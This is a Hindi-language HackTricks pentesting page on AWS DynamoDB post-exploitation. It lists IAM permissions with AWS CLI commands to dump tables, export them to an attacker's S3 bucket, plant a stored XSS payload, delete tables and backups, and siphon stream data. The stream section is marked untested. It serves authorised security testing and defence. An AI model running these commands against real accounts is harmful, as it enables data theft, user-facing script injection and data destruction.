AWS - DynamoDB Post Exploitation

HackTricks का समर्थन करें

DynamoDB

अधिक जानकारी के लिए देखें:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

इस अनुमति के साथ एक हमलावर प्राथमिक कुंजी द्वारा तालिकाओं से आइटम प्राप्त करने में सक्षम होगा (आप तालिका के सभी डेटा के लिए बस नहीं पूछ सकते)। इसका मतलब है कि आपको प्राथमिक कुंजी पता होनी चाहिए (आप इसे तालिका के मेटाडेटा (describe-table) प्राप्त करके प्राप्त कर सकते हैं)।

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क

dynamodb:GetItem

पिछले अनुमतियों के समान यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनः प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

इस अनुमति के साथ transact-get-items विधि का उपयोग करना भी संभव है:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क

dynamodb:Query

पिछले अनुमतियों के समान यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनः प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है। यह तुलनाओं के उपसमुच्चय का उपयोग करने की अनुमति देता है, लेकिन प्राथमिक कुंजी के साथ केवल "EQ" की तुलना की अनुमति है (जो कि प्रकट होनी चाहिए), इसलिए आप एक अनुरोध में पूरे DB को प्राप्त करने के लिए तुलना का उपयोग नहीं कर सकते।

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क

dynamodb:Scan

आप इस अनुमति का उपयोग पूरी तालिका को आसानी से डंप करने के लिए कर सकते हैं।

aws dynamodb scan --table-name <t_name> #Get data inside the table

संभावित प्रभाव: तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क

dynamodb:PartiQLSelect

आप इस अनुमति का उपयोग पूरी तालिका को आसानी से डंप करने के लिए कर सकते हैं।

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

यह अनुमति batch-execute-statement करने की भी अनुमति देती है जैसे:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

लेकिन आपको एक मान के साथ प्राथमिक कुंजी निर्दिष्ट करने की आवश्यकता है, इसलिए यह इतना उपयोगी नहीं है।

संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

यह अनुमति एक हमलावर को पूरी तालिका को उसके चयन के S3 बकेट में निर्यात करने की अनुमति देगी:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

ध्यान दें कि इसके काम करने के लिए तालिका में point-in-time-recovery सक्षम होना चाहिए, आप यह जांच सकते हैं कि तालिका में यह है या नहीं:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

यदि यह सक्षम नहीं है, तो आपको इसे सक्षम करना होगा और इसके लिए आपको dynamodb:ExportTableToPointInTime अनुमति की आवश्यकता है:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

संभावित प्रभाव: तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

इन अनुमतियों के साथ, एक हमलावर बैकअप से एक नई तालिका बना सकेगा (या यहां तक कि एक बैकअप बना सकेगा जिसे फिर एक अलग तालिका में पुनर्स्थापित किया जा सके)। फिर, आवश्यक अनुमतियों के साथ, वह जानकारी की जांच कर सकेगा जो उत्पादन तालिका में और नहीं हो सकती।

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

संभावित प्रभाव: तालिका बैकअप में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क

dynamodb:PutItem

यह अनुमति उपयोगकर्ताओं को तालिका में एक नया आइटम जोड़ने या एक मौजूदा आइटम को नए आइटम से बदलने की अनुमति देती है। यदि समान प्राथमिक कुंजी वाला एक आइटम पहले से मौजूद है, तो पूरा आइटम नए आइटम से बदल दिया जाएगा। यदि प्राथमिक कुंजी मौजूद नहीं है, तो निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम बनाया जाएगा

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

संभावित प्रभाव: DynamoDB तालिका में डेटा जोड़ने/संशोधित करने में सक्षम होने के कारण आगे की कमजोरियों/बायपास का शोषण

dynamodb:UpdateItem

यह अनुमति उपयोगकर्ताओं को एक आइटम के मौजूदा गुणों को संशोधित करने या एक आइटम में नए गुण जोड़ने की अनुमति देती है। यह पूरे आइटम को प्रतिस्थापित नहीं करती; यह केवल निर्दिष्ट गुणों को अपडेट करती है। यदि प्राथमिक कुंजी तालिका में मौजूद नहीं है, तो यह क्रिया निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम बनाएगी और अपडेट अभिव्यक्ति में निर्दिष्ट गुणों को सेट करेगी।

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

संभावित प्रभाव: DynamoDB तालिका में डेटा जोड़ने/संशोधित करने में सक्षम होने के कारण आगे की कमजोरियों/बायपास का शोषण

dynamodb:DeleteTable

इस अनुमति के साथ एक हमलावर DynamoDB तालिका को हटा सकता है, जिससे डेटा हानि होती है

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

संभावित प्रभाव: डेटा हानि और हटाए गए तालिका पर निर्भर सेवाओं में व्यवधान।

dynamodb:DeleteBackup

इस अनुमति के साथ एक हमलावर DynamoDB बैकअप को हटा सकता है, जो आपदा पुनर्प्राप्ति परिदृश्य में डेटा हानि का कारण बन सकता है

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

संभावित प्रभाव: डेटा हानि और आपदा पुनर्प्राप्ति परिदृश्य के दौरान बैकअप से पुनर्प्राप्त करने में असमर्थता।

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: Test if this actually works

इन अनुमतियों के साथ एक हमलावर DynamoDB तालिका पर एक स्ट्रीम सक्षम कर सकता है, तालिका को अपडेट कर सकता है ताकि परिवर्तन स्ट्रीमिंग शुरू हो सके, और फिर तालिका में वास्तविक समय में परिवर्तनों की निगरानी करने के लिए स्ट्रीम तक पहुंच सकता है। इससे हमलावर को डेटा परिवर्तनों की निगरानी और एक्सफिल्ट्रेट करने की अनुमति मिलती है, जो संभावित रूप से डेटा लीक का कारण बन सकती है।

  1. DynamoDB तालिका पर एक स्ट्रीम सक्षम करें:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. ARN और अन्य विवरण प्राप्त करने के लिए स्ट्रीम का वर्णन करें:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. स्ट्रीम ARN का उपयोग करके शार्ड इटरेटर प्राप्त करें:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. शार्ड इटरेटर का उपयोग करके स्ट्रीम से डेटा तक पहुँचें और उसे एक्सफिल्ट्रेट करें:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

संभावित प्रभाव: DynamoDB तालिका के परिवर्तनों की वास्तविक समय निगरानी और डेटा लीक।

Support HackTricks

Last updated